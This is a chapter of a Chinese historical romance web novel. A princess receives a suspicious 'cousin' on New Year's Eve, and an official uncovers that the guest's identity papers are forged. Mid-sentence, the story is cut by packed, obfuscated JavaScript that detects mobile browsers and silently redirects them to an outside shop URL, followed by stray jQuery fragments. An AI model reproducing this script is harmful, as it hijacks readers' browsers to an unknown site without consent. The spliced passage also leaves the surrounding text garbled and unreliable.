萧鸣笙惊讶卢妈妈怎么就直接将人带灶房里了，这也不是待客之道。
等到了灶房一看，才知缘故。
萧家不是每个房间都摆着炭盆，索性年夜饭就摆在灶房了。
二人将那身残破的披风脱下后，再如何勉力维持体面，也抵不过瑟瑟发抖。
卢妈妈也是苦过来的，赶忙告罪道：“这儿没炭盆，要不先到灶房？锅里还有热水。”
二人来投奔，自然是主人家说什么就是什么。
萧鸣笙进屋前，也厘清了。萧夫人的外甥女从没去过西北，如卢妈妈阿草这般，都没辨出原身已换了人，只是个表小姐，自己不必慌乱，且看是不是真亲戚才是要紧事。
阿草进去，将袁志换了出来。“主子，……人，好像有点不对。”
“何处不对？”萧鸣笙钦佩他的敏锐。
“嬷嬷说，她们是十月从越州府坐马车来的。时间对不上。而且，二人千里迢迢 ，不走水路，去坐马车做什么？路途遥远，再没护院，即便走的官道，也不安全。”
萧鸣笙思虑再三，反问道：“我从前一味缠绵病榻，也不晓得家里若是出了事，该如何示警？总不能光靠你吧？到底也是双拳难敌四手。”
说也奇怪，这会儿，袁志倒有些为难。“宫里，是给了示警的焰火。”
“宫里啊……不是要紧事，也轻易用不得。罢了罢了，万一是个乌龙……”
萧鸣笙又问道，“你可看出二人是否会功夫？”
袁志摇摇头，“不像。”
但是，若要害人，何须强攻？带病来，或是下毒，不经意间便能事。
为了郡主安危，袁志也不好再隐瞒，“其实，崔三爷……曾经给了我几枚崔家的示警焰火。属下誓死效忠萧家，绝不……”
“我晓得你的忠心。”萧鸣笙不介意，反而是笑道，“三爷也想得周到，总不能有点风吹草动，都惊动宫里。最后狼真来了，反而没人来救。三爷的也暂时别……”
“郡主恕罪——”
“嘶……你已经用了？”
“嗯。”
袁志一脸为难，想了想又补充道，“即便是要来投奔，这时间也太巧了。年三十，京城是允许放焰火的，等到出事再示警，也不一定有人瞧见。”
“唉……罢了罢了，既是叔父的安排，想来也是他的心腹，好在今年赏赐丰厚，到时多给些赏钱也就是了。”
萧鸣笙万事都想到了，唯独没料到崔三爷的心腹是何人。
且说萧家的年夜饭。
总不能由着她们主仆说是萧夫人的外甥女，便是吧。
路引文书，袁志已经看过，像是真的。
一家人便坐着用饭，萧鸣笙也道：“家里没多少人，都坐一处吧。”
她最上首的位置，左侧位一般是卢妈妈坐的，今日也让给了这位秦家姑娘。
秦姑娘自言是越州人，是萧夫人表姐的女儿，父亲是越州山阴县的县令。
“我自幼在西北，也听母亲说起姨妈。不知表姐怎么独自上京来了，也没同姨妈一起来？”
萧家人给了体面，看过文书后，由得对方自报家门，寒暄客套的话，全部交给了主子们。
秦姑娘净过面，经由风雪刮过，虽涂了润肤膏，还是通红一片。
“回郡主的话……”话才起个头，人已经掏出帕子，“母亲……也想来……只是这些年，郡主在守孝，不宜来扰了郡主……今年入了夏，母亲便说起上京的事……可是……”
嗯，可是什么？
这位秦表姐没说，就哭成了泪人。
萧鸣笙尚不通晓实情，也只能将目光移向那位嬷嬷。
谁知，这嬷嬷也是一顿哭。这下，可把萧家人看懵了。
“是我的不是……表姐莫哭了，先吃碗羊汤暖暖身吧……哪有空着肚子说话的道理？”
萧鸣笙起身，为她舀了汤，热热的羊汤吃了，秦姑娘缓了不少，抬眼怔怔望着眼前的饭菜，倏然起身，朝主位的萧鸣笙行了个大礼。
“秦……”
“陵安少尹崔明端，见过荣安郡主。”
一道急促的声，从灶房门口传了进来。只见来人姿容不凡，肩上带着薄雪，仿佛天外来客。
“崔大人……”
萧鸣笙惊讶不已，向他身后看去，阿藤也躬身候着。这崔三爷给的焰火，联系的是阿藤？
“底下的人来报，说是有人来投亲。臣奉命前来，请二位到堂屋说话。”
萧鸣笙也没拦着，这位表姐光吃羊汤了，旁的一句话也没说。
阿藤请人往堂屋的方向走，秦姑娘也配合，身姿玲珑的人，去了厚重的披风，在灶膛前的火光映衬下，越发楚楚可怜。
这副情境，没落在崔大人眼里，反而是萧鸣笙看美人行走，眼都看直了。
外头天色也不早了，过年，萧家难得挂上了灯笼，于灯火阑珊处看美人，更是别有一番风味。
崔明端原不好直视于她，站了半晌，余光发现她竟十分有闲心去看那位来路不明的表小姐。
一路的惊惧，皆化成了心肝疼。
这一回，他也不想再讲什么礼法，一抬袖，上头的雪花就落了下来。
不过是几个箭步，她的袖子，便已糊涂落在他手里。
伴着某人沉重的叹息，萧鸣笙也才回神，“叔父给的焰火……我以为是他心腹来……”
“臣，便是家父最可靠的心腹。”
“……”
萧鸣笙：崔大人，我怀疑你在说冷笑话，但是没有证据。
她忍笑忍得辛苦，也记得正事，“那位，说是家母表姐的女儿，姓秦，是越州山阴县秦县令家，问是何事来投，便哭得不能自已。也不晓得是真是假……”
这一回，崔明端没瞒她，“这位，约莫不是姓秦。”
“嗯，我也想过……”
萧鸣笙想着那姑娘脸上冻出的红疮，不免叹息。
“郡主所叹何事。”
“我想，她——姓耿？”
萧鸣笙也没瞒他，果真得见崔大人一副孺子可教的神色，不禁神采飞扬道，“在登闻鼓院升堂前，荀大人便说过，道长为何下山。我想，为的约莫是吉安一众官员的身家性命。
眼下，户部只罚了一个尚书，吉安府判得最重，但也只是收监，秋后问斩。若其中还有冤情，也还有转圜的余地；若是人都死了，这案子，便成了吉安府一手遮天的贪腐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388868|128519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巨案。”
她说到激昂处，才发现左手似乎不好动弹，低头一看——
袖子在某人手里。
最后，声调不由弱了下去，“这样大的疏漏，户部不可能不知道，由着吉安府一贪就贪了六年……罢？”
这手，该放开了罢？
然而，崔明端故作不知，一味捏着她袖口不放，“郡主所言甚是，臣受教了。”
“……大人，吃过年夜饭了么？”
此问，崔明端只是轻轻应声，却没说实话。父亲示警的焰火，崔家有人专门盯着，当即报到了阿藤那儿。
方位是在城郊，必然是梅花坞了。
那人还奇怪，“三爷走前说了，务必要日夜盯着。小人这会儿出城去看看吧。”
哪里轮到他出城？阿藤也同大人说他来看便是。
亏得崔家的年夜饭吃得早，已临近散席。
新年要守岁，他也多年不曾回京了，以防宫里传召，没吃几杯酒。本想着，用完饭，先去临近几家走走，拜个早年，不想梅花坞先出了事。
他镇定自若，侧身与她一同去看飞雪，偷闲话起家常，“寒舍有一道乳糖真雪，侄孙辈爱吃得紧。本想让阿藤送一份过来……”
“哼……”萧鸣笙闷声提了提袖子。“夏日才有的吃食，大人何故说来馋人？”
“是……臣瞧着那碎冰，总记得这儿的雪。”
崔明端撤回手，适时从袖口摸了个荷包，除去他身上的木香气，还有一丝果香。
“杨梅果脯，守岁醒神用的。郡主，吃么？”
*
阿藤跟着崔明端在眉州办过案子，请人到堂屋，客客气气请她们坐，“耿姑娘稍候片刻，大人即刻就来……”
“是……”
秦姑娘应完，嬷嬷咳嗽一声，她才慌忙去看阿藤的反应。
谁知他像是没听见似的，只是站在一旁。
秦姑娘便又先说道：“方才没来得及回禀，小女姓秦……”
“是，耿姑娘。”
“……”
等崔明端过来时，阿藤将两人的户籍文书递了上去，“大人请看。”
眉州产茶，多少人挖空了心思要贩私茶。
伪造的官府文书五花八门，粗劣的，一眼就能辨别出。精致的，比如手里这份，乍一看，确实像真的。
辨别文书也无需什么技术，崔明端自幼看的便是真的，若是假的，不用过手，一眼便能识别出来。
“姑娘特意挑在年三十来，不知所为何事？”
“小女有冤，请大人明鉴。”秦姑娘蓄着泪，当即要跪。
“本官记得山阴县，并无冤情。”
“小女……”
秦姑娘犹豫了半晌，反倒是叫阿藤寻到了话，“要说近日何处有大案，也就郡主的封地了。姑娘莫不是来自吉安府，而非越州？”
崔明端自顾自坐下，看二人形容憔悴，再翻着手里文书，走的官驿。
像，是有几分像。
可惜，崔明端鼻息甚灵。那日他回京，也是走水路，坐的渔船，以至于身上带着一股难以言喻的腥味。
主仆二人，与他和阿藤一样，都是在梅花坞渡口下船的。